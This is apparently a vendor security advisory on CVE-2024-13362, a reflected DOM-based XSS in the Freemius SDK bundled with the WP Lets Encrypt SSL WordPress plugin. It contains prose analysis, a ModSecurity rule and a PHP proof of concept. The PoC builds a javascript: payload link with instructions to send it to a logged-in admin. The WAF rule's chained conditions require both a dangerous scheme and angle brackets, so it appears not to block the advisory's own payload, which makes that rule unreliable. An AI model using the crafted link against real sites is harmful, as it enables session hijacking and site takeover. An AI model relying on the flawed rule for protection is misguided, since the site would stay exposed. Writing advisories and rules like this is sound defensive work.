Atomic Edge analysis of CVE-2024-13362 (metadata-based): This is a reflected DOM-based cross-site scripting (XSS) vulnerability in the Freemius SDK library, version 2.10.1 and below, which is bundled within multiple WordPress plugins and themes. The specific affected plugin in this context is WP Lets Encrypt SSL (slug: wp-letsencrypt-ssl) version 7.7.0. The vulnerability carries a CVSS score of 6.1 (Medium) and requires user interaction (clicking a crafted link). The core issue is improper neutralization of the url parameter during web page generation, allowing arbitrary script injection.
The root cause, inferred from CWE-79 and the description, is insufficient input sanitization and output escaping of the url parameter used in DOM-based JavaScript contexts. Without a code diff, Atomic Edge analysis cannot confirm the exact code path, but the pattern is typical: the plugin reads a url parameter (likely from GET or hash fragment) and writes it directly into the DOM via innerHTML or document.write without proper encoding. The Freemius SDK commonly uses a url parameter for redirects or callback handling after authentication. This is a Reflected XSS because the payload executes immediately in the context of the user’s browser session, rather than being stored on the server.
Exploitation requires an unauthenticated attacker to craft a malicious link that includes a url parameter containing JavaScript payload, such as: https://target.com/wp-content/plugins/wp-letsencrypt-ssl/freemius/start.php?url=javascript:alert(‘XSS’). The attacker must then trick a logged-in administrator or user into clicking the link. Since the vulnerability is DOM-based, the script executes in the victim’s browser session within the WordPress admin context. The attack vector does not require any authentication or nonce, as the vulnerable code runs client-side.
Remediation requires the Freemius SDK to properly sanitize the url parameter before outputting it into the DOM. The fix should use JavaScript’s encodeURI() or encodeURIComponent() for dynamic values, or use safe DOM manipulation methods such as textContent instead of innerHTML. Additionally, server-side validation should reject non-HTTP/HTTPS schemes (e.g., javascript: or data:). The patch in version 2.10.2 or later likely implements these protections.
The impact of successful exploitation includes arbitrary JavaScript execution in the context of the victim’s WordPress admin session. This can lead to session hijacking, credential theft, installation of malicious plugins, creation of admin users, or redirection to phishing sites. The CVSS score indicates low impact to confidentiality and integrity, but in a WordPress admin context, the actual damage could be significantly higher, potentially leading to full site compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-13362 (metadata-based)
# This rule blocks Reflected DOM-Based XSS via the 'url' parameter targeting Freemius SDK files.
# The rule matches specific Freemius PHP files that accept a 'url' parameter with dangerous schemes.
SecRule REQUEST_URI "@rx /(freemius|start.php|connect.php|redirect.php)"
"id:20262000,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 Reflected XSS via url parameter in Freemius SDK',severity:'CRITICAL',tag:'CVE-2024-13362',tag:'wordpress',tag:'xss'"
SecRule ARGS:url "@rx ^(javascript|data|vbscript):" "chain,t:none"
SecRule ARGS:url "@rx [<>]" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter
// This PoC demonstrates how an unauthenticated attacker can trigger XSS by tricking a user
// into clicking a crafted link. The vulnerable parameter is 'url' passed to Freemius SDK files.
$target_url = 'http://localhost/wordpress'; // CHANGE THIS to the target WordPress URL
$plugin_slug = 'wp-letsencrypt-ssl'; // The plugin that bundles Freemius SDK
// Payload: Reflected XSS using javascript: URI scheme
$malicious_url = $target_url . '/wp-content/plugins/' . $plugin_slug . '/freemius/start.php?url=javascript:alert(document.domain);//';
echo "[+] Atomic Edge CVE-2024-13362 PoCn";
echo "[+] Target: $target_urln";
echo "[+] Crafted malicious URL:n";
echo $malicious_url . "nn";
echo "[+] Instructions: Send this link to a logged-in WordPress admin user.n";
echo "[+] When clicked, it will execute JavaScript in their browser session.n";
// Optional: Use cURL to fetch the page and confirm the parameter is reflected
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
// Check if the payload appears in the response (indicating reflection)
if (strpos($response, 'javascript:alert') !== false) {
echo "[+] Payload appears reflected in server response. Vulnerability confirmed (metadata-based).n";
} else {
echo "[-] Payload not found in raw response. May be DOM-only or require JavaScript execution.n";
}
} else {
echo "[-] HTTP request failed with code: $http_coden";
}
